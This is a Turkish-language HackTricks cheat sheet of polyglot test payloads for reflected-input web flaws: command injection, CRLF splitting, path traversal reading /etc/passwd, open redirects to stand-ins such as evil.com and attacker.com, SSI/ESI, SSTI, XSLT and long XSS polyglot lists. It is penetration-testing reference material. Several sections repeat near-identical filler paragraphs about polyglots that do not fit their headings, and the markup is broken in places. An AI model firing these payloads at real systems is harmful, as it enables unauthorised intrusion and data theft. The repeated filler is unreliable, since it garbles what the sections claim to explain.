# Reflecting Techniques - PoCs and Polygloths CheatSheet
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**. * **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun.
Bu PoC'lar ve Polygloths'ların amacı, testçiye **girişinin yanıtta bir şekilde yansıtılıyorsa** sömürebileceği zayıflıkların hızlı bir **özetini** sunmaktır. {% hint style="warning" %} Bu **hile kağıdı, her zayıflık için kapsamlı bir test listesi sunmamaktadır**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her zayıflığa erişin. {% endhint %} {% hint style="danger" %} XXE gibi **Content-Type bağımlı enjeksiyonları burada bulamazsınız**, genellikle xml verisi gönderen bir istek bulursanız bunları kendiniz denersiniz. Ayrıca, **veritabanı enjeksiyonlarını** burada bulamazsınız çünkü bazı içerikler yansıtılsa bile, bu durum backend DB teknolojisi ve yapısına bağlıdır. {% endhint %} ## Polygloths listesi ```python {{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

THIS IS AND INJECTED TITLE

/etc/passwd ../../../../../../etc/hosts ..\..\..\..\..\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\..\..\..\..\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\w*)+$ ([a-zA-Z]+)*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ " onclick=alert() a=" '"> javascript:alert() javascript:"/*'/*`/*--> -->'"/>
">>" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` ## [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) ### Temel Testler ``` {{7*7}} [7*7] ``` ### Çokdillilik Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırılarda kullanılan birçok farklı senaryoda kullanılabilir. Aşağıda, bazı yaygın polyglot senaryoları ve kullanımları bulunmaktadır. #### 1. XSS ve CSRF Polyglotları XSS (Cross-Site Scripting) ve CSRF (Cross-Site Request Forgery) saldırıları için polyglotlar, hedef uygulamalarda güvenlik açıklarını sömürmek için kullanılabilir. Bu polyglotlar, hem HTML hem de JavaScript kodunu içeren bir yapıya sahiptir. Bu sayede, bir saldırgan, aynı dosyayı hem bir HTML sayfası olarak sunabilir hem de JavaScript kodu olarak çalıştırabilir. #### 2. Dosya Yükleme Polyglotları Dosya yükleme saldırıları için polyglotlar, hedef uygulamalarda dosya yükleme işlemlerini manipüle etmek için kullanılabilir. Bu polyglotlar, birden fazla dosya biçimini destekleyen bir yapıya sahiptir. Örneğin, bir polyglot dosyası hem bir resim dosyası olarak görünebilir hem de bir betik dosyası olarak çalıştırılabilir. #### 3. Dosya İndirme Polyglotları Dosya indirme saldırıları için polyglotlar, hedef kullanıcılara zararlı dosyaları indirmeleri için yanıltıcı bir şekilde sunulabilir. Bu polyglotlar, birden fazla dosya biçimini destekleyen bir yapıya sahiptir. Örneğin, bir polyglot dosyası hem bir PDF belgesi olarak görünebilir hem de bir uygulama dosyası olarak çalıştırılabilir. #### 4. Veritabanı Sızıntısı Polyglotları Veritabanı sızıntısı saldırıları için polyglotlar, hedef veritabanlarından veri çalmak için kullanılabilir. Bu polyglotlar, hem SQL hem de diğer veritabanı sorgu dillerini destekleyen bir yapıya sahiptir. Bu sayede, bir saldırgan, aynı dosyayı hem SQL sorgusu olarak çalıştırabilir hem de diğer veritabanı sorgu dilleriyle uyumlu bir şekilde kullanabilir. Polyglotlar, siber saldırılarda çok yönlü bir araç olarak kullanılabilir. Saldırganlar, bu teknikleri kullanarak hedef sistemlerdeki güvenlik açıklarını sömürebilir ve istedikleri sonuçları elde edebilirler. Bu nedenle, güvenlik uzmanlarının polyglot saldırılarına karşı dikkatli olmaları ve gerekli önlemleri almaları önemlidir. ```bash {{7*7}}[7*7] ``` ## [Komut Enjeksiyonu](../command-injection.md) ### Temel Testler ```bash ;ls ||ls; |ls; &&ls; &ls; %0Als `ls` $(ls) ``` ### Çokdillilik Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırılarda kullanılan birçok farklı senaryoda kullanılabilir. Aşağıda, bazı yaygın polyglot senaryoları ve kullanımları bulunmaktadır. #### 1. XSS ve CSRF Polyglotları XSS (Cross-Site Scripting) ve CSRF (Cross-Site Request Forgery) saldırıları için polyglotlar, hedef uygulamalarda güvenlik açıklarını sömürmek için kullanılabilir. Bu polyglotlar, hem HTML hem de JavaScript kodunu içeren bir yapıya sahiptir. Bu sayede, bir saldırgan, hedef uygulamada XSS veya CSRF saldırısı gerçekleştirebilir. #### 2. Dosya Yükleme Polyglotları Dosya yükleme işlemlerinde polyglotlar kullanılarak güvenlik açıkları sömürülebilir. Örneğin, bir saldırgan, bir resim dosyası gibi görünen bir polyglot dosyasını hedef uygulamaya yükleyebilir. Bu dosya, aslında bir kötü amaçlı betik içerebilir ve hedef uygulamada istenmeyen davranışlara neden olabilir. #### 3. Veritabanı Sızıntısı Polyglotları Veritabanı sızıntısı polyglotları, hedef veritabanına saldırmak için kullanılabilir. Bu polyglotlar, SQL enjeksiyonu veya NoSQL enjeksiyonu gibi saldırı tekniklerini içerebilir. Bir saldırgan, hedef veritabanında istenmeyen verilere erişebilir veya veritabanını tamamen ele geçirebilir. #### 4. Dosya İndirme Polyglotları Dosya indirme polyglotları, hedef kullanıcının bilgisayarına zararlı dosyalar indirmek için kullanılabilir. Bu polyglotlar, bir dosyanın hem zararsız bir dosya gibi görünmesini hem de zararlı bir betik içermesini sağlar. Bir saldırgan, hedef kullanıcının bilgisayarına zararlı bir dosya indirebilir ve bu dosya aracılığıyla hedef sistemi ele geçirebilir. Polyglotlar, siber saldırılarda kullanılan çok yönlü araçlardır. Saldırganlar, bu teknikleri kullanarak hedef sistemlerdeki güvenlik açıklarını sömürebilir ve istenmeyen sonuçlara yol açabilir. Bu nedenle, güvenlik uzmanlarının polyglot saldırılarına karşı dikkatli olmaları ve uygun önlemleri almaları önemlidir. ```bash 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ ``` ## [CRLF](../crlf-0d-0a.md) ### Temel Testler #### CRLF Injection **HTTP Response Splitting** * **Description**: CRLF Injection, also known as HTTP Response Splitting, is a web vulnerability that allows an attacker to inject CRLF characters (%0D%0A or \r\n) into an HTTP response header. This can lead to various attacks such as HTTP response splitting, cache poisoning, cross-site scripting (XSS), and session hijacking. * **Impact**: By injecting CRLF characters into the response header, an attacker can manipulate the HTTP response and potentially perform attacks like injecting malicious content, redirecting users to malicious websites, or stealing sensitive information. * **Detection**: To detect CRLF Injection vulnerabilities, you can send a request with a payload containing CRLF characters and check if they are reflected in the response header. If the response header contains the injected CRLF characters, it indicates a potential vulnerability. * **Prevention**: To prevent CRLF Injection vulnerabilities, it is important to properly validate and sanitize user input before using it in HTTP response headers. Additionally, web application firewalls (WAFs) can help detect and block CRLF Injection attacks. **SMTP Response Injection** * **Description**: CRLF Injection can also occur in SMTP (Simple Mail Transfer Protocol) responses. By injecting CRLF characters into an SMTP response, an attacker can manipulate the email content and potentially perform attacks like injecting malicious content, spoofing email headers, or sending phishing emails. * **Impact**: CRLF Injection in SMTP responses can lead to various attacks such as email header injection, email spoofing, or sending malicious attachments. This can result in unauthorized access to sensitive information or the compromise of email accounts. * **Detection**: To detect CRLF Injection vulnerabilities in SMTP responses, you can send a test email with a payload containing CRLF characters and check if they are reflected in the email content. If the email content contains the injected CRLF characters, it indicates a potential vulnerability. * **Prevention**: To prevent CRLF Injection in SMTP responses, it is important to properly validate and sanitize user input before using it in email content. Additionally, implementing email security measures such as SPF (Sender Policy Framework) and DKIM (DomainKeys Identified Mail) can help prevent email spoofing and unauthorized access to email accounts. #### CRLF Polyglots **Description** CRLF Polyglots are payloads that can be interpreted as valid CRLF characters in multiple contexts. These payloads can be used to bypass input validation and perform various attacks. **Examples** * **%0D%0A**: This payload represents the CRLF characters in URL encoding format. It can be interpreted as CRLF in HTTP response headers, SMTP responses, and other contexts where CRLF characters are significant. * **%0d%0a**: This payload represents the CRLF characters in lowercase URL encoding format. It can be interpreted as CRLF in the same contexts as the previous example. * **%0d%0a%09**: This payload represents the CRLF characters followed by a tab character (%09) in URL encoding format. It can be interpreted as CRLF followed by a tab in certain contexts. **Detection** To detect CRLF Polyglots, you can send requests with different payloads containing CRLF characters and observe how they are interpreted in different contexts. If a payload is interpreted as CRLF in multiple contexts, it indicates the presence of a CRLF Polyglot. **Prevention** To prevent CRLF Polyglot attacks, it is important to implement strict input validation and sanitization mechanisms. Additionally, using security libraries or frameworks that automatically handle encoding and decoding of user input can help prevent CRLF Injection vulnerabilities. ```bash %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` ## Sarkan İşaretleme ### Temel Testler #### HTML Injection An HTML injection vulnerability occurs when an application does not properly sanitize user input and allows malicious HTML code to be injected and executed in the application's output. This can lead to various attacks such as cross-site scripting (XSS) and defacement of the website. To test for HTML injection, you can try injecting simple HTML tags like `<script>alert('XSS')</script>` into input fields or parameters that are susceptible to injection. If the injected code is executed and the alert message is displayed, it indicates a potential HTML injection vulnerability. #### SQL Injection SQL injection is a common vulnerability that occurs when an application does not properly validate and sanitize user input before constructing SQL queries. Attackers can exploit this vulnerability to manipulate the SQL queries and perform unauthorized actions, such as retrieving sensitive data or modifying the database. To test for SQL injection, you can try injecting SQL statements like `1' OR '1'='1` into input fields or parameters that are susceptible to injection. If the application responds differently or displays error messages indicating a SQL error, it suggests a potential SQL injection vulnerability. #### Command Injection Command injection occurs when an application allows user-supplied input to be executed as a command on the underlying operating system. Attackers can exploit this vulnerability to execute arbitrary commands and potentially gain unauthorized access to the system. To test for command injection, you can try injecting commands like `;ls` or `| cat /etc/passwd` into input fields or parameters that are susceptible to injection. If the injected command is executed and the output is displayed, it indicates a potential command injection vulnerability. #### Path Traversal Path traversal, also known as directory traversal, is a vulnerability that allows attackers to access files and directories outside of the intended directory structure. This can lead to unauthorized access to sensitive files, including configuration files, source code, and user data. To test for path traversal, you can try appending `../` or `%2e%2e/` to the URL or file path to navigate to parent directories. If the application allows access to files or directories outside of the intended scope, it suggests a potential path traversal vulnerability. #### Server-Side Request Forgery (SSRF) SSRF is a vulnerability that allows attackers to make requests from the vulnerable server to other internal or external resources. This can be used to bypass access controls, scan internal networks, or perform attacks against other systems. To test for SSRF, you can try providing URLs of internal resources, such as `http://localhost`, or external resources, such as `http://attacker.com`, as input. If the application makes requests to these resources and returns the responses, it indicates a potential SSRF vulnerability. #### XML External Entity (XXE) Injection XXE injection is a vulnerability that occurs when an application processes XML input without disabling external entity references. Attackers can exploit this vulnerability to read sensitive files, perform server-side request forgery (SSRF), or launch denial-of-service attacks. To test for XXE injection, you can try injecting XML entities like `<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` into XML input fields or parameters that are susceptible to injection. If the application processes the entity and returns the content of the specified file, it suggests a potential XXE injection vulnerability. ```markup <br><b><h1>THIS IS AND INJECTED TITLE </h1> ``` ## [Dosya Dahil Etme/Yol Geçişi](https://github.com/carlospolop/hacktricks/blob/tr/pentesting-web/dosya-dahil-etme/README.md) ### Temel Testler ```bash /etc/passwd ../../../../../../etc/hosts ..\..\..\..\..\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\..\..\..\..\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php ``` ## [Açık Yönlendirme](../open-redirect.md) / [Sunucu Tarafı İstek Sahteciliği](../ssrf-server-side-request-forgery/) ### Temel Testler ```bash www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) ``` ## [ReDoS](../regular-expression-denial-of-service-redos.md) ### Temel Testler ````html <details> <summary>Test 1</summary> ```javascript /^([a-z])+$/i.test('a'.repeat(10**6)) ```` <details> <summary>Test 2</summary> ```javascript /^([a-z])+$/i.test('a'.repeat(10**7)) ``` </details> <details> <summary>Test 3</summary> ```javascript /^([a-z])+$/i.test('a'.repeat(10**8)) ``` </details> \`\`\` ### Açıklama Bu testler, ReDoS saldırılarını tespit etmek için basit bir şekilde kullanılabilir. Her bir test, bir dizi küçük harfli "a" karakterinin tekrarlanmasıyla oluşturulan bir dizeyi test eder. Bu testler, düzenli ifadelerin geriye dönük referanslarından kaynaklanan performans sorunlarını ortaya çıkarabilir. ```bash (\\w*)+$ ([a-zA-Z]+)*$ ((a+)+)+$ ``` ## [Sunucu Tarafı Ekleme/Kenar Tarafı Ekleme](../server-side-inclusion-edge-side-inclusion-injection.md) ### Temel Testler ```markup <!--#echo var="DATE_LOCAL" --> <!--#exec cmd="ls" --> <esi:include src=http://attacker.com/> x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> ``` ### Çokdillilik Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırganlar tarafından sızma testlerinde kullanılan bir tekniktir çünkü hedef sistemde birden fazla zafiyetin keşfedilmesine olanak tanır. Polyglotlar, birden fazla dil veya biçimde geçerli olan belirli bir yapıyı kullanarak oluşturulur. Bu yapı, farklı yorumlayıcılarda veya işleme sistemlerinde farklı sonuçlar üretebilir. Bu nedenle, bir polyglot dosyası, farklı dillerde veya biçimlerde işlenebilir ve farklı sonuçlar üretebilir. Polyglotlar, siber saldırganlar tarafından çeşitli saldırı vektörleri için kullanılabilir. Örneğin, bir polyglot dosyası, bir web uygulamasında güvenlik açıklarını tetikleyebilir veya bir sistemde kod yürütme sağlayabilir. Polyglotlar ayrıca, güvenlik duvarlarını atlamak veya güvenlik önlemlerini yanıltmak için kullanılabilir. Polyglot dosyaları oluşturmak için dikkatlice tasarlanmış bir yapı kullanmak önemlidir. Bu, dosyanın birden fazla dil veya biçimde geçerli olmasını sağlar. Polyglot dosyaları oluştururken, dosyanın her dil veya biçimde geçerli olmasını sağlamak için uygun dil veya biçim özelliklerini kullanmak önemlidir. Polyglot dosyaları, sızma testlerinde kullanılan etkili bir tekniktir çünkü birden fazla zafiyetin keşfedilmesine olanak tanır. Bu nedenle, siber saldırganlar tarafından kullanılan birçok saldırı vektörünü içeren bir polyglot dosyası oluşturmak, hedef sistemdeki güvenlik açıklarını tespit etmek için önemli bir araç olabilir. ```markup <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> ``` ## [Sunucu Tarafı İstek Sahteciliği](../ssrf-server-side-request-forgery/) Aynı testler, Burada da Kullanılabilir. ## [Sunucu Tarafı Şablon Enjeksiyonu](../ssti-server-side-template-injection/) ### Temel Testler ```markup ${{<%[%'"}}%\ {{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7} ``` ### Çokdillilik Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırılarda kullanılan birçok farklı senaryoda kullanılabilir. Aşağıda, bazı yaygın polyglot senaryoları ve kullanımları bulunmaktadır. #### 1. XSS ve CSRF Polyglotları XSS (Cross-Site Scripting) ve CSRF (Cross-Site Request Forgery) saldırıları için polyglotlar, hedef uygulamalarda güvenlik açıklarını sömürmek için kullanılabilir. Bu polyglotlar, hem HTML hem de JavaScript kodunu içeren bir yapıya sahiptir. Bu sayede, bir saldırgan, aynı dosyayı hem bir HTML sayfası olarak sunabilir hem de JavaScript kodu olarak çalıştırabilir. #### 2. Dosya Yükleme Polyglotları Dosya yükleme saldırıları için polyglotlar, hedef uygulamalarda dosya yükleme işlemlerini manipüle etmek için kullanılabilir. Bu polyglotlar, birden fazla dosya biçimini destekleyen bir yapıya sahiptir. Örneğin, bir polyglot dosyası hem bir resim dosyası olarak görünebilir hem de bir betik dosyası olarak çalıştırılabilir. #### 3. Dosya İndirme Polyglotları Dosya indirme saldırıları için polyglotlar, hedef kullanıcılara zararlı dosyaları indirmeleri için yanıltıcı bir şekilde sunulabilir. Bu polyglotlar, birden fazla dosya biçimini destekleyen bir yapıya sahiptir. Örneğin, bir polyglot dosyası hem bir PDF belgesi olarak görünebilir hem de bir uygulama dosyası olarak çalıştırılabilir. #### 4. Veritabanı Sızıntısı Polyglotları Veritabanı sızıntısı saldırıları için polyglotlar, hedef veritabanlarından veri çalmak için kullanılabilir. Bu polyglotlar, hem SQL hem de diğer veritabanı sorgu dillerini destekleyen bir yapıya sahiptir. Bu sayede, bir saldırgan, aynı dosyayı hem SQL sorgusu olarak çalıştırabilir hem de diğer veritabanı sorgu dilleriyle uyumlu bir şekilde kullanabilir. Polyglotlar, siber saldırılarda çok yönlü bir araç olarak kullanılabilir. Saldırganlar, bu teknikleri kullanarak hedef sistemlerdeki güvenlik açıklarını sömürebilir ve istedikleri sonuçları elde edebilirler. Bu nedenle, güvenlik uzmanlarının polyglot saldırılarına karşı dikkatli olmaları ve gerekli önlemleri almaları önemlidir. ```python {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ ``` ## [XSLT Sunucu Tarafı Enjeksiyonu](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### Temel Testler ```markup <xsl:value-of select="system-property('xsl:version')" /> <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> ``` ### Çokdillilik Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırganlar tarafından sıklıkla kullanılan bir tekniktir çünkü hedef sistemde birden fazla zafiyetin sömürülmesine izin verir. Polyglotlar, birden fazla dil veya biçimde geçerli olan bir dosya oluşturmak için farklı dil veya biçim özelliklerini birleştirir. Bu, bir dosyanın hem bir resim dosyası olarak görüntülenebilmesini hem de bir betik veya kod olarak yorumlanabilmesini sağlar. Bu, saldırganların hedef sistemdeki güvenlik açıklarını keşfetmek veya kötü amaçlı kodu hedef sistemde çalıştırmak için kullanabilecekleri çok yönlü bir araç sağlar. Polyglotlar, siber saldırganlar tarafından yaygın olarak kullanılan birçok saldırı vektörüne sahiptir. Örneğin, bir polyglot dosyası, bir web uygulamasında güvenlik açığı bulmak için kullanılan bir SQL enjeksiyon saldırısını gerçekleştirebilir veya bir XSS saldırısı için kullanılabilir. Ayrıca, bir polyglot dosyası, hedef sistemdeki bir güvenlik açığını sömürmek için kullanılan bir kötü amaçlı yazılımı da içerebilir. Polyglotlar, siber saldırganlar tarafından kullanılan birçok farklı saldırı senaryosunda etkili bir şekilde kullanılabilir. Bu nedenle, siber güvenlik uzmanlarının polyglot dosyaları hakkında bilgi sahibi olması ve bu tür saldırılara karşı savunma mekanizmalarını geliştirmesi önemlidir. ```markup <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> ``` ## XSS ### Temel Testler #### Reflected XSS Reflected XSS, kullanıcının girdilerinin doğrudan web uygulaması tarafından geri döndürüldüğü durumlarda ortaya çıkar. Bu tür bir saldırıda, saldırgan, kullanıcının girdilerine kötü amaçlı bir kod enjekte eder ve bu kod, web uygulaması tarafından geri döndürülen sayfada çalıştırılır. Reflected XSS saldırısını tespit etmek için aşağıdaki adımları izleyebilirsiniz: 1. Kullanıcının girdisine `<script>alert('XSS')</script>` gibi bir kötü amaçlı kod ekleyin. 2. Girdiyi gönderin ve web uygulamasının yanıtını kontrol edin. 3. Eğer web uygulaması, kötü amaçlı kodu çalıştırarak "XSS" mesajını görüntülüyorsa, Reflected XSS açığına sahip olabilir. #### Stored XSS Stored XSS, kullanıcının girdilerinin web uygulaması tarafından veritabanına kaydedildiği durumlarda ortaya çıkar. Bu tür bir saldırıda, saldırgan, kullanıcının girdilerine kötü amaçlı bir kod enjekte eder ve bu kod, web uygulaması tarafından veritabanından alınıp kullanıcılara gösterildiğinde çalıştırılır. Stored XSS saldırısını tespit etmek için aşağıdaki adımları izleyebilirsiniz: 1. Kullanıcının girdisine `<script>alert('XSS')</script>` gibi bir kötü amaçlı kod ekleyin. 2. Girdiyi gönderin ve web uygulamasının yanıtını kontrol edin. 3. Eğer web uygulaması, kötü amaçlı kodu çalıştırarak "XSS" mesajını görüntülüyorsa, Stored XSS açığına sahip olabilir. #### DOM-based XSS DOM-based XSS, web uygulamasının JavaScript kodu tarafından oluşturulan DOM (Document Object Model) üzerindeki güvenlik açıklarından kaynaklanır. Bu tür bir saldırıda, saldırgan, web uygulamasının DOM yapısını manipüle ederek kötü amaçlı bir kod enjekte eder ve bu kod, web uygulaması tarafından çalıştırıldığında kullanıcılara etki eder. DOM-based XSS saldırısını tespit etmek için aşağıdaki adımları izleyebilirsiniz: 1. Kullanıcının girdisine `<script>alert('XSS')</script>` gibi bir kötü amaçlı kod ekleyin. 2. Girdiyi gönderin ve web uygulamasının yanıtını kontrol edin. 3. Eğer web uygulaması, kötü amaçlı kodu çalıştırarak "XSS" mesajını görüntülüyorsa, DOM-based XSS açığına sahip olabilir. ```markup " onclick=alert() a=" '"><img src=x onerror=alert(1) /> javascript:alert() ``` ### Çokdillilik Polyglotlar, birden fazla programlama dili veya dosya biçimini aynı anda destekleyen dosyalardır. Bu, bir dosyanın birden fazla amaç için kullanılabilmesi anlamına gelir. Polyglotlar, siber saldırganlar tarafından sıklıkla kullanılan bir tekniktir çünkü hedef sistemde birden fazla zafiyetin sömürülmesine izin verir. Polyglotlar, birden fazla dil veya biçimde geçerli olan bir dosya oluşturmak için farklı dil veya biçim özelliklerini birleştirir. Bu, bir dosyanın hem bir resim dosyası olarak görüntülenebilmesini hem de bir betik veya kod olarak yorumlanabilmesini sağlar. Bu, saldırganların hedef sistemdeki güvenlik açıklarını keşfetmek veya kötü amaçlı kodu hedef sistemde çalıştırmak için kullanabilecekleri çok yönlü bir araç sağlar. Polyglotlar, siber saldırganlar tarafından yaygın olarak kullanılan birçok saldırı vektörüne sahiptir. Örneğin, bir polyglot dosyası, bir web uygulamasında güvenlik açığı bulmak için kullanılan bir SQL enjeksiyon saldırısını gerçekleştirebilir veya bir XSS saldırısı için kullanılabilir. Ayrıca, bir polyglot dosyası, hedef sistemdeki bir güvenlik açığını sömürmek için kullanılan bir kötü amaçlı yazılımı da içerebilir. Polyglotlar, siber saldırganlar tarafından kullanılan birçok farklı saldırı senaryosunda etkili bir şekilde kullanılabilir. Bu nedenle, siber güvenlik uzmanlarının polyglot dosyaları hakkında bilgi sahibi olması ve bu tür saldırılara karşı savunma mekanizmaları geliştirmesi önemlidir. ```markup javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``> jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> <svg%0Ao%00nload=%09((pro\u006dpt))()// javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` %0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">` javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'> javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//> ``` <details> <summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & 